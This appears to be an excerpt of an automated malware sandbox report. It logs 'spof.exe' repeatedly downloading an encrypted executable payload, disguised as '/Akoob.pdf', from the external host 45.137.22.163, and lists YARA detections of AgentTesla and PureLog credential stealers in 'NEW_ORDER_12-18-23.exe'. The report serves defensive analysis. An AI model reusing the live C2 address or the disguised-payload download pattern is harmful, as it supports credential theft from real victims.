Dec 18, 2023 14:31:04.771440029 CET	1286	IN	Data Raw: 75 57 1f ca dd e7 8c 68 29 06 68 89 0e d9 aa d9 68 05 82 d7 a5 8d 68 40 80 86 91 a8 40 80 85 ab 75 57 07 9e 81 9e 9e 68 14 09 d6 86 d6 a2 68 29 06 68 09 a1 e8 8f b5 68 40 80 86 91 a8 40 80 85 96 75 57 1d 99 ad 8a 68 8c 03 68 02 b5 dd a5 b0 68 40 Data Ascii: uWh)hhh@@uWhh)hh@@uWhhh@@uWhWhh@@uWhWhh@@uWh)hhh@@uWh91h@@uWh9h@@uWh99
Dec 18, 2023 14:31:04.771472931 CET	1286	IN	Data Raw: f3 c0 9e 97 68 29 02 68 1a fd c2 a7 a5 68 40 80 86 91 a8 40 80 85 98 75 57 1c f0 93 b0 bf 68 89 11 eb 90 bc b1 68 0b 85 82 f4 8e 68 40 80 86 91 a8 40 80 86 90 75 57 09 c8 f7 a5 84 68 8c 04 68 09 c6 dd a9 80 68 40 80 86 91 a8 40 80 85 9a 75 57 0f Data Ascii: h)hh@@uWhhh@@uWhhh@@uWhhZh@@uWh)hh@@uWhhh@@uWh9wh@@uWhwWhh@@uWh9h@@uW
Dec 18, 2023 14:31:04.771519899 CET	1286	IN	Data Raw: bb 75 57 11 d3 ef 98 a6 68 57 11 ef 9f cb 80 68 77 13 e1 8d 8d 9e 68 40 80 86 91 a8 40 80 86 99 75 57 1d d0 d6 af a9 68 14 27 ac b6 a9 68 8c 05 68 03 ce b3 a5 ae 68 40 80 86 91 a8 40 80 86 bd 75 57 08 fe dc f2 89 68 77 1f 92 a8 98 ae 68 40 80 86 Data Ascii: uWhWhwh@@uWh'hhh@@uWhwh@@uWh9h@@uWhh)hh@@uWh'hhh@@uWhWh)hh@@uWhwh@@uWhwh
Dec 18, 2023 14:31:04.771600008 CET	1286	IN	Data Raw: 0d 0d 68 02 0d 04 60 17 68 a0 04 35 60 80 89 95 61 0b 68 87 06 0d 12 68 02 0d 04 60 01 a2 68 87 0a 0d 11 68 02 0d 04 60 01 96 68 87 01 0d 0a 68 00 0d 04 60 01 bc 68 a0 04 35 60 80 89 94 61 03 99 68 01 7c 89 01 98 68 02 8c 68 04 60 35 68 87 01 0d Data Ascii: h`h5`ahh`hh`hh`h5`ah\|hh`5hh`h5`ahh`h@-h`h5`ahh`h5`ahh`hh`'h5`ah-hhh`h5`a<hh`hh`
Dec 18, 2023 14:31:04.771680117 CET	1286	IN	Data Raw: 04 b7 68 87 14 01 86 68 03 92 68 02 68 02 0d 04 60 04 ae 68 06 7c 14 3f 68 02 bd 68 04 60 02 87 68 a0 04 66 60 80 89 95 61 03 96 68 87 0a 0d 0c 68 02 0d 04 60 02 9d 68 87 01 0d 02 68 00 0d 03 60 08 7c 04 ac 68 01 7c 89 01 ba 68 10 68 04 60 03 9e Data Ascii: hhhh`h\|?hh`hf`ahh`hh`\|h\|hh`h2h%hh`hhhh`hh`hf`ah\|.hh`hhhh`hh!hh`hh`\|hhhh` hhhh`hh`hf`
Dec 18, 2023 14:31:04.771745920 CET	1286	IN	Data Raw: 60 01 90 68 87 01 0d 0e 68 00 0d 04 60 03 a0 68 87 89 11 68 03 87 68 0f 68 02 0d 04 60 03 a8 68 87 89 0b 68 35 68 06 68 00 0d 04 60 02 be 68 0a 7c 89 13 68 31 68 03 60 08 7c 02 b3 68 87 14 2b 68 02 82 68 18 68 02 0d 04 60 02 8b 68 a0 04 35 60 80 Data Ascii: `hh`hhhh`hh5hh`h\|h1h`\|h+hhh`h5`ah\|$hh`h\|hh`h5`a*hh`h\|;hh`h\|7hh`\|hhhh`"hh`h!hhh`h6hhh`h5`ahh
Dec 18, 2023 14:31:04.771786928 CET	1286	IN	Data Raw: a0 04 35 60 80 89 95 61 07 68 87 01 0d 0b 68 00 0d 04 60 02 b4 68 a0 04 66 60 80 89 95 61 05 93 68 87 89 3a 68 01 b9 68 0e 68 00 0d 03 60 08 7c 04 82 68 87 01 0d 0c 68 00 0d 04 60 16 68 a0 04 66 60 80 89 95 61 1b 68 87 0b 0d 09 68 00 0d 04 60 21 Data Ascii: 5`ahh`hf`ah:hhh`\|hh`hf`ahh`!hh`hf`ah\|/hh`h5`ah\|hh`h\|<hh`\|<hh`h1]`hh`#hh6hh`hhhh`h5`ah\|(hh`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49730	45.137.22.163	80	7500	C:\Users\user\AppData\Roaming\spof.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2023 14:31:19.751796961 CET	72	OUT	GET /Akoob.pdf HTTP/1.1 Host: 45.137.22.163 Connection: Keep-Alive
Dec 18, 2023 14:31:19.994237900 CET	1286	IN	HTTP/1.1 200 OK Content-Type: application/pdf Last-Modified: Mon, 18 Dec 2023 07:44:11 GMT Accept-Ranges: bytes ETag: "8420c6fd8531da1:0" Server: Microsoft-IIS/8.5 Date: Mon, 18 Dec 2023 13:31:19 GMT Content-Length: 665600 Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 70 00 00 00 0c 00 0a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 20 00 79 00 6c 00 62 00 6d 00 65 00 73 00 73 00 41 00 01 00 08 00 38 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 08 00 34 00 00 00 00 00 00 00 00 00 65 00 6d 00 61 00 4e 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 01 00 22 00 00 00 6c 00 6c 00 64 00 2e 00 67 00 64 00 74 00 68 00 41 00 00 00 65 00 6d 00 61 00 6e 00 65 00 6c 00 69 00 46 00 6c 00 61 00 6e 00 69 00 67 00 69 00 72 00 4f 00 01 00 0a 00 3c 00 00 00 00 00 00 00 00 00 73 00 6b 00 72 00 61 00 6d 00 65 00 64 00 61 00 72 00 54 00 6c 00 61 00 67 00 65 00 4c 00 01 00 01 00 2a 00 00 00 00 00 00 00 74 00 68 00 67 00 69 00 72 00 79 00 70 00 6f 00 43 00 6c 00 61 00 67 00 65 00 4c 00 01 00 01 00 26 00 00 00 6c 00 6c 00 64 00 2e 00 67 00 64 00 74 00 68 00 41 00 00 00 65 00 6d 00 61 00 4e 00 6c 00 Data Ascii: >p00.0.0.1noisreV ylbmessA80.0.0.1noisreVtcudorP4emaNtcudorP"lld.gdthAemaneliFlanigirO<skramedarTlageL*thgirypoClageL&lld.gdthAemaNl
Dec 18, 2023 14:31:19.994280100 CET	1286	IN	Data Raw: 61 00 6e 00 72 00 65 00 74 00 6e 00 49 00 01 00 0a 00 34 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 65 00 6c 00 69 00 46 00 01 00 08 00 30 00 00 00 00 00 00 00 00 00 6e 00 6f 00 69 00 Data Ascii: anretnI40.0.0.1noisreVeliF0noitpircseDeliF*emaNynapmoC"stnemmoC0b400000ofnIeliFgnirtS,
Dec 18, 2023 14:31:19.994312048 CET	1286	IN	Data Raw: d3 fb c8 d8 a1 e6 81 02 44 14 53 d6 2f 10 5d e9 b6 c7 aa 26 5e 5a 51 c0 40 b3 40 f6 1e 25 62 49 b4 08 21 a6 79 43 8e fd 98 71 93 6b 90 11 22 89 5c d7 be ff ff 5b b1 8b 44 f7 af 69 80 98 d8 fd 46 95 01 a8 30 46 13 47 87 c6 2a f5 7c 0f af c1 bd ce Data Ascii: DS/]&^ZQ@@%bI!yCqk"\[DiF0FG*\|$ pVjx=7:\55quw}jBHHt@9IH$dceK:J}kG&J0y-{HD0 0MKDXBg
Dec 18, 2023 14:31:19.994430065 CET	1286	IN	Data Raw: 70 25 3b 54 85 53 cb 2e 88 f7 da ca f7 d1 01 ae bf fe cd 67 a8 a8 60 c9 d7 74 94 8b e1 67 4e fa 83 6e 84 b5 53 82 bd 2d d5 9c b3 27 4b 26 94 cd 98 1e e6 37 da 49 66 cd bc a2 8e 28 18 cd 7e dd 9d de e4 b8 e2 3f 6d ac d9 98 21 c4 0b 07 b0 b5 ba d2 Data Ascii: p%;TS.g`tgNnS-'K&7If(~?m!BvF%;@E!K#EsTF$dYXoFC(vVCQ%\IA%+6--ZPZ+%%f~fj&0(_bj
Dec 18, 2023 14:31:20.235718012 CET	1286	IN	Data Raw: 75 57 1f ca dd e7 8c 68 29 06 68 89 0e d9 aa d9 68 05 82 d7 a5 8d 68 40 80 86 91 a8 40 80 85 ab 75 57 07 9e 81 9e 9e 68 14 09 d6 86 d6 a2 68 29 06 68 09 a1 e8 8f b5 68 40 80 86 91 a8 40 80 85 96 75 57 1d 99 ad 8a 68 8c 03 68 02 b5 dd a5 b0 68 40 Data Ascii: uWh)hhh@@uWhh)hh@@uWhhh@@uWhWhh@@uWhWhh@@uWh)hhh@@uWh91h@@uWh9h@@uWh99
Dec 18, 2023 14:31:20.235743046 CET	1286	IN	Data Raw: f3 c0 9e 97 68 29 02 68 1a fd c2 a7 a5 68 40 80 86 91 a8 40 80 85 98 75 57 1c f0 93 b0 bf 68 89 11 eb 90 bc b1 68 0b 85 82 f4 8e 68 40 80 86 91 a8 40 80 86 90 75 57 09 c8 f7 a5 84 68 8c 04 68 09 c6 dd a9 80 68 40 80 86 91 a8 40 80 85 9a 75 57 0f Data Ascii: h)hh@@uWhhh@@uWhhh@@uWhhZh@@uWh)hh@@uWhhh@@uWh9wh@@uWhwWhh@@uWh9h@@uW
Dec 18, 2023 14:31:20.235816956 CET	1286	IN	Data Raw: bb 75 57 11 d3 ef 98 a6 68 57 11 ef 9f cb 80 68 77 13 e1 8d 8d 9e 68 40 80 86 91 a8 40 80 86 99 75 57 1d d0 d6 af a9 68 14 27 ac b6 a9 68 8c 05 68 03 ce b3 a5 ae 68 40 80 86 91 a8 40 80 86 bd 75 57 08 fe dc f2 89 68 77 1f 92 a8 98 ae 68 40 80 86 Data Ascii: uWhWhwh@@uWh'hhh@@uWhwh@@uWh9h@@uWhh)hh@@uWh'hhh@@uWhWh)hh@@uWhwh@@uWhwh
Dec 18, 2023 14:31:20.235883951 CET	1286	IN	Data Raw: 0d 0d 68 02 0d 04 60 17 68 a0 04 35 60 80 89 95 61 0b 68 87 06 0d 12 68 02 0d 04 60 01 a2 68 87 0a 0d 11 68 02 0d 04 60 01 96 68 87 01 0d 0a 68 00 0d 04 60 01 bc 68 a0 04 35 60 80 89 94 61 03 99 68 01 7c 89 01 98 68 02 8c 68 04 60 35 68 87 01 0d Data Ascii: h`h5`ahh`hh`hh`h5`ah\|hh`5hh`h5`ahh`h@-h`h5`ahh`h5`ahh`hh`'h5`ah-hhh`h5`a<hh`hh`
Dec 18, 2023 14:31:20.235984087 CET	1286	IN	Data Raw: 04 b7 68 87 14 01 86 68 03 92 68 02 68 02 0d 04 60 04 ae 68 06 7c 14 3f 68 02 bd 68 04 60 02 87 68 a0 04 66 60 80 89 95 61 03 96 68 87 0a 0d 0c 68 02 0d 04 60 02 9d 68 87 01 0d 02 68 00 0d 03 60 08 7c 04 ac 68 01 7c 89 01 ba 68 10 68 04 60 03 9e Data Ascii: hhhh`h\|?hh`hf`ahh`hh`\|h\|hh`h2h%hh`hhhh`hh`hf`ah\|.hh`hhhh`hh!hh`hh`\|hhhh` hhhh`hh`hf`
Dec 18, 2023 14:31:20.236067057 CET	1286	IN	Data Raw: 60 01 90 68 87 01 0d 0e 68 00 0d 04 60 03 a0 68 87 89 11 68 03 87 68 0f 68 02 0d 04 60 03 a8 68 87 89 0b 68 35 68 06 68 00 0d 04 60 02 be 68 0a 7c 89 13 68 31 68 03 60 08 7c 02 b3 68 87 14 2b 68 02 82 68 18 68 02 0d 04 60 02 8b 68 a0 04 35 60 80 Data Ascii: `hh`hhhh`hh5hh`h\|h1h`\|h+hhh`h5`ah\|$hh`h\|hh`h5`a*hh`h\|;hh`h\|7hh`\|hhhh`"hh`h!hhh`h6hhh`h5`ahh
Dec 18, 2023 14:31:20.236134052 CET	1286	IN	Data Raw: a0 04 35 60 80 89 95 61 07 68 87 01 0d 0b 68 00 0d 04 60 02 b4 68 a0 04 66 60 80 89 95 61 05 93 68 87 89 3a 68 01 b9 68 0e 68 00 0d 03 60 08 7c 04 82 68 87 01 0d 0c 68 00 0d 04 60 16 68 a0 04 66 60 80 89 95 61 1b 68 87 0b 0d 09 68 00 0d 04 60 21 Data Ascii: 5`ahh`hf`ah:hhh`\|hh`hf`ahh`!hh`hf`ah\|/hh`h5`ah\|hh`h\|<hh`\|<hh`h1]`hh`#hh6hh`hhhh`h5`ah\|(hh`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	45.137.22.163	80	7948	C:\Users\user\AppData\Roaming\spof.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2023 14:31:26.130563021 CET	72	OUT	GET /Akoob.pdf HTTP/1.1 Host: 45.137.22.163 Connection: Keep-Alive
Dec 18, 2023 14:31:26.369484901 CET	1286	IN	HTTP/1.1 200 OK Content-Type: application/pdf Last-Modified: Mon, 18 Dec 2023 07:44:11 GMT Accept-Ranges: bytes ETag: "8420c6fd8531da1:0" Server: Microsoft-IIS/8.5 Date: Mon, 18 Dec 2023 13:31:25 GMT Content-Length: 665600 Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 70 00 00 00 0c 00 0a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 20 00 79 00 6c 00 62 00 6d 00 65 00 73 00 73 00 41 00 01 00 08 00 38 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 08 00 34 00 00 00 00 00 00 00 00 00 65 00 6d 00 61 00 4e 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 01 00 22 00 00 00 6c 00 6c 00 64 00 2e 00 67 00 64 00 74 00 68 00 41 00 00 00 65 00 6d 00 61 00 6e 00 65 00 6c 00 69 00 46 00 6c 00 61 00 6e 00 69 00 67 00 69 00 72 00 4f 00 01 00 0a 00 3c 00 00 00 00 00 00 00 00 00 73 00 6b 00 72 00 61 00 6d 00 65 00 64 00 61 00 72 00 54 00 6c 00 61 00 67 00 65 00 4c 00 01 00 01 00 2a 00 00 00 00 00 00 00 74 00 68 00 67 00 69 00 72 00 79 00 70 00 6f 00 43 00 6c 00 61 00 67 00 65 00 4c 00 01 00 01 00 26 00 00 00 6c 00 6c 00 64 00 2e 00 67 00 64 00 74 00 68 00 41 00 00 00 65 00 6d 00 61 00 4e 00 6c 00 Data Ascii: >p00.0.0.1noisreV ylbmessA80.0.0.1noisreVtcudorP4emaNtcudorP"lld.gdthAemaneliFlanigirO<skramedarTlageL*thgirypoClageL&lld.gdthAemaNl
Dec 18, 2023 14:31:26.369561911 CET	1286	IN	Data Raw: 61 00 6e 00 72 00 65 00 74 00 6e 00 49 00 01 00 0a 00 34 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 65 00 6c 00 69 00 46 00 01 00 08 00 30 00 00 00 00 00 00 00 00 00 6e 00 6f 00 69 00 Data Ascii: anretnI40.0.0.1noisreVeliF0noitpircseDeliF*emaNynapmoC"stnemmoC0b400000ofnIeliFgnirtS,
Dec 18, 2023 14:31:26.369605064 CET	1286	IN	Data Raw: d3 fb c8 d8 a1 e6 81 02 44 14 53 d6 2f 10 5d e9 b6 c7 aa 26 5e 5a 51 c0 40 b3 40 f6 1e 25 62 49 b4 08 21 a6 79 43 8e fd 98 71 93 6b 90 11 22 89 5c d7 be ff ff 5b b1 8b 44 f7 af 69 80 98 d8 fd 46 95 01 a8 30 46 13 47 87 c6 2a f5 7c 0f af c1 bd ce Data Ascii: DS/]&^ZQ@@%bI!yCqk"\[DiF0FG*\|$ pVjx=7:\55quw}jBHHt@9IH$dceK:J}kG&J0y-{HD0 0MKDXBg
Dec 18, 2023 14:31:26.369663954 CET	1286	IN	Data Raw: 70 25 3b 54 85 53 cb 2e 88 f7 da ca f7 d1 01 ae bf fe cd 67 a8 a8 60 c9 d7 74 94 8b e1 67 4e fa 83 6e 84 b5 53 82 bd 2d d5 9c b3 27 4b 26 94 cd 98 1e e6 37 da 49 66 cd bc a2 8e 28 18 cd 7e dd 9d de e4 b8 e2 3f 6d ac d9 98 21 c4 0b 07 b0 b5 ba d2 Data Ascii: p%;TS.g`tgNnS-'K&7If(~?m!BvF%;@E!K#EsTF$dYXoFC(vVCQ%\IA%+6--ZPZ+%%f~fj&0(_bj
Dec 18, 2023 14:31:26.608253956 CET	1286	IN	Data Raw: 75 57 1f ca dd e7 8c 68 29 06 68 89 0e d9 aa d9 68 05 82 d7 a5 8d 68 40 80 86 91 a8 40 80 85 ab 75 57 07 9e 81 9e 9e 68 14 09 d6 86 d6 a2 68 29 06 68 09 a1 e8 8f b5 68 40 80 86 91 a8 40 80 85 96 75 57 1d 99 ad 8a 68 8c 03 68 02 b5 dd a5 b0 68 40 Data Ascii: uWh)hhh@@uWhh)hh@@uWhhh@@uWhWhh@@uWhWhh@@uWh)hhh@@uWh91h@@uWh9h@@uWh99
Dec 18, 2023 14:31:26.608371019 CET	1286	IN	Data Raw: f3 c0 9e 97 68 29 02 68 1a fd c2 a7 a5 68 40 80 86 91 a8 40 80 85 98 75 57 1c f0 93 b0 bf 68 89 11 eb 90 bc b1 68 0b 85 82 f4 8e 68 40 80 86 91 a8 40 80 86 90 75 57 09 c8 f7 a5 84 68 8c 04 68 09 c6 dd a9 80 68 40 80 86 91 a8 40 80 85 9a 75 57 0f Data Ascii: h)hh@@uWhhh@@uWhhh@@uWhhZh@@uWh)hh@@uWhhh@@uWh9wh@@uWhwWhh@@uWh9h@@uW
Dec 18, 2023 14:31:26.608429909 CET	1286	IN	Data Raw: bb 75 57 11 d3 ef 98 a6 68 57 11 ef 9f cb 80 68 77 13 e1 8d 8d 9e 68 40 80 86 91 a8 40 80 86 99 75 57 1d d0 d6 af a9 68 14 27 ac b6 a9 68 8c 05 68 03 ce b3 a5 ae 68 40 80 86 91 a8 40 80 86 bd 75 57 08 fe dc f2 89 68 77 1f 92 a8 98 ae 68 40 80 86 Data Ascii: uWhWhwh@@uWh'hhh@@uWhwh@@uWh9h@@uWhh)hh@@uWh'hhh@@uWhWh)hh@@uWhwh@@uWhwh
Dec 18, 2023 14:31:26.608529091 CET	1286	IN	Data Raw: 0d 0d 68 02 0d 04 60 17 68 a0 04 35 60 80 89 95 61 0b 68 87 06 0d 12 68 02 0d 04 60 01 a2 68 87 0a 0d 11 68 02 0d 04 60 01 96 68 87 01 0d 0a 68 00 0d 04 60 01 bc 68 a0 04 35 60 80 89 94 61 03 99 68 01 7c 89 01 98 68 02 8c 68 04 60 35 68 87 01 0d Data Ascii: h`h5`ahh`hh`hh`h5`ah\|hh`5hh`h5`ahh`h@-h`h5`ahh`h5`ahh`hh`'h5`ah-hhh`h5`a<hh`hh`
Dec 18, 2023 14:31:26.608607054 CET	1286	IN	Data Raw: 04 b7 68 87 14 01 86 68 03 92 68 02 68 02 0d 04 60 04 ae 68 06 7c 14 3f 68 02 bd 68 04 60 02 87 68 a0 04 66 60 80 89 95 61 03 96 68 87 0a 0d 0c 68 02 0d 04 60 02 9d 68 87 01 0d 02 68 00 0d 03 60 08 7c 04 ac 68 01 7c 89 01 ba 68 10 68 04 60 03 9e Data Ascii: hhhh`h\|?hh`hf`ahh`hh`\|h\|hh`h2h%hh`hhhh`hh`hf`ah\|.hh`hhhh`hh!hh`hh`\|hhhh` hhhh`hh`hf`
Dec 18, 2023 14:31:26.608694077 CET	1286	IN	Data Raw: 60 01 90 68 87 01 0d 0e 68 00 0d 04 60 03 a0 68 87 89 11 68 03 87 68 0f 68 02 0d 04 60 03 a8 68 87 89 0b 68 35 68 06 68 00 0d 04 60 02 be 68 0a 7c 89 13 68 31 68 03 60 08 7c 02 b3 68 87 14 2b 68 02 82 68 18 68 02 0d 04 60 02 8b 68 a0 04 35 60 80 Data Ascii: `hh`hhhh`hh5hh`h\|h1h`\|h+hhh`h5`ah\|$hh`h\|hh`h5`a*hh`h\|;hh`h\|7hh`\|hhhh`"hh`h!hhh`h6hhh`h5`ahh
Dec 18, 2023 14:31:26.608757973 CET	1286	IN	Data Raw: a0 04 35 60 80 89 95 61 07 68 87 01 0d 0b 68 00 0d 04 60 02 b4 68 a0 04 66 60 80 89 95 61 05 93 68 87 89 3a 68 01 b9 68 0e 68 00 0d 03 60 08 7c 04 82 68 87 01 0d 0c 68 00 0d 04 60 16 68 a0 04 66 60 80 89 95 61 1b 68 87 0b 0d 09 68 00 0d 04 60 21 Data Ascii: 5`ahh`hf`ah:hhh`\|hh`hf`ahh`!hh`hf`ah\|/hh`h5`ah\|hh`h\|<hh`\|<hh`h1]`hh`#hh6hh`hhhh`h5`ah\|(hh`

Target ID:	0
Start time:	14:31:02
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x24a79f00000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1750794274.0000024A11CFA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1753742623.0000024A7C850000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1750794274.0000024A10091000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:31:06
Start date:	18/12/2023
Path:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
Imagebase:	0x1f73d3e0000
File size:	17'408 bytes
MD5 hash:	70FAC030623DEB6181201FD0CA321BB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
